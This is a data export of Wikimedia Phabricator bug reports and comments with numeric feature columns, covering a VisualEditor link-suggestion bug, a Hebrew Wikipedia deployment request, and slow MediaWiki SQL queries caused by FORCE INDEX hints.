47807,VisualEditor: Over-eager link inspector suggestion tool inhibits linking,"I am just trying at w:en:Vojníkov hyperlink from ""Louka"" to ""Louka (village)"". The actual link is incorrect. Using VisualEditor and FF 19.0 or G Chrome 25.0.1364.152 m. If I start to type ""Louka"" it adds ""Loukas Vyntra"" automaticaly. If I use backspace it allows me to delete ""Vyntra"" and when I delete ""s"" of ""Loukas"", it adds again ""Loukas Vyntra"".

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1362608460,1367548440.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-xbcm5bbrtpu22jkr7ofg,task_description,resolved,True,c1,1,False,False,True,-17,,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.5,6.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.5,1.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,16.0,2.5,2.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,6.5,6.0,11.0,0.0,11.5,0.0,6.5,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.4571843251088534,0.6658200290275762,"I am just trying at w:en:Vojníkov hyperlink from ""Louka"" to ""Louka (village)"". The actual link is incorrect. Using VisualEditor and FF 19.0 or G Chrome 25.0.1364.152 m. If I start to type ""Louka"" it adds ""Loukas Vyntra"" automaticaly. If I use backspace it allows me to delete ""Vyntra"" and when I delete ""s"" of ""Loukas"", it adds again ""Loukas Vyntra"".

--------------------------
**Version**: unspecified
**Severity**: normal"
215464,VisualEditor: Over-eager link inspector suggestion tool inhibits linking,Confirming that this is now fixed. Sorry for the delay in responding.,,,1367548440,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbcm5bbrtpu22jkr7ofg,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,Confirming that this is now fixed. Sorry for the delay in responding.
215461,VisualEditor: Over-eager link inspector suggestion tool inhibits linking,Thanks for the report; this is a known issue - I think we've fixed it but it's not yet pushed to live - throwing to Trevor to confirm.,,,1362617782,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbcm5bbrtpu22jkr7ofg,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.34375,0.875,Thanks for the report; this is a known issue - I think we've fixed it but it's not yet pushed to live - throwing to Trevor to confirm.
47749,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,"VisualEditor should be deployed to the Hebrew Wikipedia as soon as possible. I did some basic testing on my machine, and I see that it's more or less as functional as it is on the English - basic formatting works, and even basic RTL is correct.

Obviously, there are many RTL issues to test there. I am doing such testing myself every now and then, but letting more people test will be far more beneficial.

Of course, I am talking about a dark launch at this point - it should only be available to users who specifically request it.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1362513780,1366909636.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-p6aosiypctjfd3m7mled,task_description,resolved,True,c1,1,False,False,True,-17,,2.0,0.0,0.0,0.5,0.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.5,3.5,0.5,9.5,6.5,0.0,0.5,1.5,0.5,0.0,0.5,1.0,0.0,1.0,0.0,1.0,0.0,4.5,0.5,2.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.5,0.0,2.0,0.0,0.0,0.5,7.5,0.0,1.0,0.0,2.0,0.5,0.0,0.0,0.0,2.0,0.0,1.5,1.0,0.0,1.0,0.0,1.0,0.0,2.0,5.0,8.0,0.5,3.0,4.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,6.0,6.5,2.5,0.0,0.0,0.0,6.0,0.0,1.0,1.0,1.0,2.5,2.5,0.0,0.0,3.9538461538461536,0.7384615384615385,"VisualEditor should be deployed to the Hebrew Wikipedia as soon as possible. I did some basic testing on my machine, and I see that it's more or less as functional as it is on the English - basic formatting works, and even basic RTL is correct.

Obviously, there are many RTL issues to test there. I am doing such testing myself every now and then, but letting more people test will be far more beneficial.

Of course, I am talking about a dark launch at this point - it should only be available to users who specifically request it.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
212178,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,"\ס/

Thank you!",,,1366913248,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,"\ס/

Thank you!"
212171,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,This is now deployed to hewiki (and 13 others).,,,1366909636,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,This is now deployed to hewiki (and 13 others).
212166,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,Related URL: https://gerrit.wikimedia.org/r/60293 (Gerrit Change Ic9ee32df65ee9d885bf19a1592e1e8e3a8d54db0),,,1366652184,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic9ee32df65ee9d885bf19a1592e1e8e3a8d54db0)
212160,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,This is now scheduled for 2013-04-25.,,,1366396701,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.909090909090909,0.9090909090909091,This is now scheduled for 2013-04-25.
212155,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,"This is very high priority for us (for hewiki and all the others of course), but as Roan says it's blocking on a version of Parsoid that we can deploy that will work with non-English wikis - see bug 43332 for details.",,,1362520790,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,True,,,-17,,2.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,8.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.5918367346938775,0.8979591836734694,"This is very high priority for us (for hewiki and all the others of course), but as Roan says it's blocking on a version of Parsoid that we can deploy that will work with non-English wikis - see bug 43332 for details."
212149,VisualEditor: Deploy to the Hebrew Wikipedia as an opt-in for testing,"I support this, but I will make one observation. The version of Parsoid that's running in production is fairly old (2012-12-12 or thereabouts), so if there's anything in Parsoid that Hebrew depends on that was added after mid-December, it won't be live yet.

We can't upgrade Parsoid right now because the Parsoid team is rewriting the serializer and master is too broken to deploy right now. We'll probably make a deployment attempt within the next two weeks, but until then, we'll keep running this ancient (but apparently stable, for English at least) version of Parsoid.",,,1362514401,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-p6aosiypctjfd3m7mled,task_subcomment,,True,c1,1,False,,,-17,,0.0,0.5,0.0,0.5,1.5,5.0,2.0,1.0,0.0,0.5,1.0,3.0,0.0,0.0,0.5,3.0,0.0,9.0,8.5,0.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,0.5,0.0,0.0,0.0,4.5,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,8.0,1.5,4.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,3.0,0.0,3.5,8.5,6.5,0.0,0.0,0.0,3.5,0.0,1.0,1.0,0.0,2.0,0.0,1.0,0.0,3.942622950819672,0.8032786885245902,"I support this, but I will make one observation. The version of Parsoid that's running in production is fairly old (2012-12-12 or thereabouts), so if there's anything in Parsoid that Hebrew depends on that was added after mid-December, it won't be live yet.

We can't upgrade Parsoid right now because the Parsoid team is rewriting the serializer and master is too broken to deploy right now. We'll probably make a deployment attempt within the next two weeks, but until then, we'll keep running this ancient (but apparently stable, for English at least) version of Parsoid."
47619,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"**Author:** `afeldman`

**Description:**
The FORCE INDEX provided in this query results in a /much/ slower query plan than without.  This is the case with both MySQL 5.1-facebook, and MariaDB 5.5, so it should just be removed.

Query:

SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) user */  rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags  FROM `revision` FORCE INDEX (user_timestamp) INNER JOIN `page` ON ((page_id = rev_page)) LEFT JOIN `user` ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN `user_groups` ON ((ug_user = rev_user) AND  ug_group = 'bot') LEFT JOIN `tag_summary` ON ((ts_rev_id=rev_id))  WHERE (rev_user >18370655) AND (ug_group IS NULL) AND ((rev_deleted & 4) = 0) AND (rev_timestamp<'20130301192103')  ORDER BY rev_timestamp DESC LIMIT 51;

Times of the query as above:

production enwiki master - mysql 5.1-facebook:  51 rows in set (7 min 23.03 sec) 
mariadb 5.5.29:  51 rows in set (1.29 sec)

Times with the FORCE INDEX (user_timestamp) removed
production enwiki master - mysql 5.1-facebook:  51 rows in set (0.26 sec)
mariadb 5.5.29:  51 rows in set (0.20 sec)

The EXPLAIN without the FORCE INDEX looks worse on 5.1 without than with, based on number of rows examined, but it avoids a filesort.  It looks better without the FORCE INDEX on mariadb than mysql 5.1 with or without.  In both cases, rev_timestamp is used instead of user_timestamp.

--------------------------
**Version**: 1.21.x
**Severity**: normal",High,80.0,1362175380,1386216223.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3dsaxavgxklzocfpg2pl,task_description,resolved,True,c1,1,False,False,False,-18,,0.0,0.0,0.0,0.5,0.0,2.25,0.25,0.0,0.0,0.0,2.25,0.75,0.0,0.0,0.0,0.0,0.0,1.0,8.5,0.0,0.0,0.25,0.0,0.25,0.75,0.0,0.0,0.25,0.0,0.0,0.0,2.0,0.0,0.75,0.25,0.0,0.0,0.0,1.75,0.25,0.0,0.0,0.0,1.75,0.0,0.0,0.0,0.0,0.0,15.0,0.25,0.25,0.0,0.25,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,2.25,1.0,14.75,0.5,2.5,3.25,0.0,0.0,0.25,0.0,0.5,0.25,5.25,0.0,0.75,8.5,15.0,0.0,0.75,0.0,0.75,0.0,0.25,0.5,0.0,0.0,0.75,0.0,0.5,3.845108695652174,0.5706521739130435,"**Author:** CODE

**Description:**
The FORCE INDEX provided in this query results in a /much/ slower query plan than without.  This is the case with both MySQL 5.1-facebook, and MariaDB 5.5, so it should just be removed.

Query:

SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) user */  rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags  FROM CODE FORCE INDEX (user_timestamp) INNER JOIN CODE ON ((page_id = rev_page)) LEFT JOIN CODE ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN CODE ON ((ug_user = rev_user) AND  ug_group = 'bot') LEFT JOIN CODE ON ((ts_rev_id=rev_id))  WHERE (rev_user >18370655) AND (ug_group IS NULL) AND ((rev_deleted & 4) = 0) AND (rev_timestamp<'20130301192103')  ORDER BY rev_timestamp DESC LIMIT 51;

Times of the query as above:

production enwiki master - mysql 5.1-facebook:  51 rows in set (7 min 23.03 sec) 
mariadb 5.5.29:  51 rows in set (1.29 sec)

Times with the FORCE INDEX (user_timestamp) removed
production enwiki master - mysql 5.1-facebook:  51 rows in set (0.26 sec)
mariadb 5.5.29:  51 rows in set (0.20 sec)

The EXPLAIN without the FORCE INDEX looks worse on 5.1 without than with, based on number of rows examined, but it avoids a filesort.  It looks better without the FORCE INDEX on mariadb than mysql 5.1 with or without.  In both cases, rev_timestamp is used instead of user_timestamp.

--------------------------
**Version**: 1.21.x
**Severity**: normal"
1026799,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"I think this reappeared, but given the age of this ticket, I will open a new one (probably not related to the original issue anymore).",,,1520352668,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,244,,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8666666666666667,"I think this reappeared, but given the age of this ticket, I will open a new one (probably not related to the original issue anymore)."
228394,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,Presumed fixed.,,,1386216223,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Presumed fixed.
228391,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Change 96228 merged by jenkins-bot:
remove specific FORCE INDEX clauses causing trouble

https://gerrit.wikimedia.org/r/96228",,,1384883673,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.944444444444445,1.0,"Change 96228 merged by jenkins-bot:
remove specific FORCE INDEX clauses causing trouble

GERRIT_URL"
228386,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Change 96228 had a related patch set uploaded by Aaron Schulz:
remove specific FORCE INDEX clauses causing trouble, bug 45619

https://gerrit.wikimedia.org/r/96228",,,1384883143,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.76,1.0,"Change 96228 had a related patch set uploaded by Aaron Schulz:
remove specific FORCE INDEX clauses causing trouble, bug 45619

GERRIT_URL"
228383,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Change 96228 had a related patch set uploaded by Springle:
remove specific FORCE INDEX clauses causing trouble, bug 45619

https://gerrit.wikimedia.org/r/96228",,,1384855075,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,20,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.833333333333333,1.0,"Change 96228 had a related patch set uploaded by Springle:
remove specific FORCE INDEX clauses causing trouble, bug 45619

GERRIT_URL"
228378,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Not entirely sure why I was CCed on this, but...

Regarding the FORCE INDEX (user_timestamp) in comment 0, that appears to be coming from includes/specials/SpecialContributions.php, ContribsPager::getUserCond() and ContribsPager::getQueryInfo(). git archeology finds that this force index was added way back in 2005, r9796.

Regarding the FORCE INDEX (change_tag_tag_id) in comment 3, that's coming from ChangeTags::modifyDisplayQuery(), added in r49068 with a comment ""fix tag filtering by adding a FORCE INDEX to the relevant queries"". There's also forcing of that index in API modules that do the same sort of thing added in r58399, which refers to bug 22032, which makes it sound like r49068 was fixing some issue where a bad query was bringing down the site. Since I have no idea of the background on that and the problematic queries don't seem to be mentioned in the change summaries, I'm CCing some of the people involved in those revisions.",,,1378484433,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,9,,1.0,0.0,0.5,1.0,1.0,2.5,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.5,1.5,0.0,4.0,13.5,0.0,1.0,0.0,0.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,0.5,4.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,14.0,2.0,1.5,0.5,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,6.5,3.0,11.0,2.0,1.5,12.5,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,2.0,13.5,6.0,0.0,1.0,0.0,2.0,0.0,3.5,1.5,0.0,4.5,0.0,0.0,0.0,4.338651238896681,0.6812762973352033,"Not entirely sure why I was CCed on this, but...

Regarding the FORCE INDEX (user_timestamp) in comment 0, that appears to be coming from includes/specials/SpecialContributions.php, ContribsPager::getUserCond() and ContribsPager::getQueryInfo(). git archeology finds that this force index was added way back in 2005, r9796.

Regarding the FORCE INDEX (change_tag_tag_id) in comment 3, that's coming from ChangeTags::modifyDisplayQuery(), added in r49068 with a comment ""fix tag filtering by adding a FORCE INDEX to the relevant queries"". There's also forcing of that index in API modules that do the same sort of thing added in r58399, which refers to bug 22032, which makes it sound like r49068 was fixing some issue where a bad query was bringing down the site. Since I have no idea of the background on that and the problematic queries don't seem to be mentioned in the change summaries, I'm CCing some of the people involved in those revisions."
228372,IndexPager::buildQueryInfo (contributions page unfiltered) query needs tuning,"Found another example of this with a slightly different query form:

SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) 14.0.143.195 */ rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags FROM `revision` INNER JOIN `page` ON ((page_id = rev_page)) LEFT JOIN `user` ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN `tag_summary` ON ((ts_rev_id=rev_id)) INNER JOIN `change_tag` FORCE INDEX (change_tag_tag_id) ON ((ct_rev_id=rev_id)) WHERE rev_user = '3030741' AND ((rev_deleted & 4) = 0) AND ct_tag = 'visualeditor' ORDER BY rev_timestamp DESC LIMIT 51;

On enwiki, forcing the index hits ~900000 rows with a temp table and filesort. Without the force: ~50000 rows, no temp table or filesort.

Both 5.1 and 5.5 EXPLAIN look the same, so removing this FORCE on change_tag_tag_id would also be a win across the board.",,,1377847274,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-3dsaxavgxklzocfpg2pl,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,5.666666666666667,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,14.666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,13.666666666666666,0.3333333333333333,3.0,5.333333333333333,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,3.3333333333333335,0.0,0.0,5.666666666666667,14.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,1.0,0.0,0.0,1.0,4.284313725490196,0.6274509803921569,"Found another example of this with a slightly different query form:

SELECT /* IndexPager::buildQueryInfo (contributions page unfiltered) 14.0.143.195 */ rev_id,rev_page,rev_text_id,rev_timestamp,rev_comment,rev_user_text,rev_user,rev_minor_edit,rev_deleted,rev_len,rev_parent_id,rev_sha1,user_name,page_namespace,page_title,page_is_new,page_latest,page_is_redirect,page_len,ts_tags FROM CODE INNER JOIN CODE ON ((page_id = rev_page)) LEFT JOIN CODE ON ((rev_user != 0) AND (user_id = rev_user)) LEFT JOIN CODE ON ((ts_rev_id=rev_id)) INNER JOIN CODE FORCE INDEX (change_tag_tag_id) ON ((ct_rev_id=rev_id)) WHERE rev_user = '3030741' AND ((rev_deleted & 4) = 0) AND ct_tag = 'visualeditor' ORDER BY rev_timestamp DESC LIMIT 51;

On enwiki, forcing the index hits ~900000 rows with a temp table and filesort. Without the force: ~50000 rows, no temp table or filesort.

Both 5.1 and 5.5 EXPLAIN look the same, so removing this FORCE on change_tag_tag_id would also be a win across the board."
